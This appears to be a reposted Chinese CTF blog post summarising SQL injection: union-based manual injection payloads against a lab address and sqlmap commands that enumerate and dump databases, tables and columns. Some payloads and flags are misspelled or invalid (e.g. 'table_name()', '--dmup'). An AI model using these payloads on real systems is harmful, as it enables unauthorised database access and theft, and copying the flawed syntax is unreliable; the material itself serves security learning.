[CTF] SQL注入的一些经验总结【更新:2021.11.18】

关于SQL注入的思维导图可以看一下

在这里插入图片描述




一、SQL注入介绍

[CTF] SQL注入的一些经验总结【更新:2021.11.18】_第1张图片

(一)注入流程

由于关系型数据库系统具有明显的 库/表/列/内容 的结构层次,所以通过SQL注入漏洞获取库中信息的时候,也是依据这样的顺序
1、获取数据库名
2、获取表名
3、获取列名
4、获取数据

(二)MySQL常用函数与参数

system_user() → 系统用户名
user() → 用户名
current_user → 当前用户名
session_user() → 连接数据库的用户名
databases() → 数据库名
version() → 数据库版本
load_file() → 读取本地文件的函数
@@datadir → 读取数据库路径
@@basedir → 安装路径
@@version_compile_os → 操作系统
left() → 从左侧开始指定字符个数的字符串
concat() → 没有分隔符的连接字符串
concat_ws() → 含有分割符的连接字符串
group_concat() → 连接一个组的字符串
ascii() → 返回ASCII码
hex() → 将字符串转换为十六进制
md5() → 返回MD5值

二、手工注入

(一)寻找注入点

1、什么是注入点?

一般的,在页面与数据库交互的地方,利用语句过滤的不严格,使得恶意语句带入到数据库中进行查询。

2、注入点标识

一般地,诸如有“ id=1 ”、“ id=2 ”……
http://172.16.1.116/about?id=1
http://172.16.1.116/about?id=2
……

也有可能不是“ id= ”的情况
比如

http://172.16.1.11/?dnc=1

具体要查看URL变化。
诸如这种id有变化的情况就怀疑有注入点

(二)判断注入点

1、输入 ’ (英文状态下的单引号)判断

http://172.16.1.116/about?id=1'

如果此时页面报错,说明输入的这个单引号是有效果的

2、单引号的作用

判断注入类型: 数字型/字符型
(1)数字型
在提交的时候是不带任何东西的

查询语句=id

如:

id=1
id=2

(2)字符型
在提交的时候会带单引号

查询语句='id'

如:

id='1'
id='2'

2、判断注入点

带入语句,例如:1=1 ↓

http://172.16.1.116/about?id=1 and 1=1

如果页面正常说明接受了这个语句
带入语句,例如:1=2 ↓

http://172.16.1.116/about?id=1 and 1=2

页面异常,表示也接受了这个语句。给出的条件是假的
因为根据简易逻辑,id=1为真,1=2为假,and表示两边同时满足,则给出的是fault。
此时判断该页面有注入点

(三)注入手法

1、四大注入手法

(1)联合查询注入

(1.1)什么是联合查询?

在id=1的时候会列出一个表格,我们看到的结果是表格中的内容,当执行联合查询的语句(union select)的时候,会生成两个虚拟表,两个虚拟表的列数需要一致。
此时我们不知道表的列数,就需要order by这个语句判断列数

(1.2)order by:以列数进行排序

没有这个列就会报错;有这个列就会进行排序。
使用方法:order by 列数
例如:

order by 1
order by 3
……
(1.3)order by 判断列数的方法

当列数大于实际存在的列数时会报错,否则不会
如果“order by 4”不会报错,但“order by 5”会报错,则说明列数为3
有了列数以后就可以进行构造联合查询语句

(1.4)前表出错,后表执行

由上得出:列数为4
可以构造联合查询语句

id=1 union select 1,2,3,4

此时要让前表出错,这样可以使后表执行

id=-1 union select 1,2,3,4
或者
id=1 and 1=2 union select 1,2,3,4

现象:返回了2和3
此时得出了回显位置是“2”和“3”的位置
此时可以在这些位置带入一些查询语句↓

id=1 union select 1,database(),version(),4

这样就返回了当前数据库和数据库的版本信息

(1.5)手工注入操作

http://172.16.1.116/为例
按照注入流程↓
_1判断注入点

http://172.16.1.116/?id=1 and 1=1
http://172.16.1.116/?id=1 and 1=2
……

_2判断列数

http://172.16.1.116/?id=1 order by 10
http://172.16.1.116/?id=1 order by 3
http://172.16.1.116/?id=1 order by 4
……

_3找回显位置

http://172.16.1.116/?id=1 and 1=2 union select 1,2,3,4

_4获取数据库名

http://172.16.1.116/?id=1 union select 1,2,schema_name(),4 from information_schema.schemata

_5获取指定数据库下所有表名

http://172.16.1.116/?id=1 union select 1,2,table_name(),4 from information_schema.tables where table_schema='指定的数据库名字'

_6获取表中字段名

http://172.16.1.116/?id=1 union select 1,2,column_name,4 from information_schema.columns where table_schema='指定数据库的名字' and table_name='指定的表的名字'

_7获取数据

http://172.16.1.116/?id=1 union select 1,2,字段名,4 from 库名.表名
(2)报错注入
(3)布尔注入
(4)延时(时间)注入

三、半自动化注入

(一)sqlmap的使用

下载地址:http://sqlmap.org/
kali可以直接使用

1、sqlmap常用命令

-u → “URL”检测注入点
--dbs → 列出所有数据库的名字
--current-db → 列出当前数据库的名字
-D → 指定一个数据库
--tables → 列出表名
-T → 指定表名
--columns → 列出所有字段名
-C → 指定字段
--dump → 列出字段内容
--current-user → 当前用户
--current-db → 当前数据库
--is-dba → 是否是管理员
--hostname → 主机名
--users → 枚举用户
--passwords → 枚举用户密码哈希
--privilieges → 枚举用户权限

2、sqlmap注入操作

http://172.16.1.116/为例
按照注入流程↓
_1判断注入点

sqlmap -u "http://172.16.1.116/?id=1" --batch

_2获取数据库名

sqlmap -u "http://172.16.1.116/?id=1" --batch --dbs

_3获取指定数据库下所有表名

sqlmap -u "http://172.16.1.116/?id=1" --batch -D 数据库名 --tables

_4获取表中字段名

sqlmap -u "http://172.16.1.116/?id=1" --batch -D 数据库名 -T 表名 --column

_5获取数据

sqlmap -u "http://172.16.1.116/?id=1" --batch -D 数据库名 -T 表名 -C 字段1,字段2…… --dmup

你可能感兴趣的:(CTF,MySQL,web安全,安全,sql,数据库)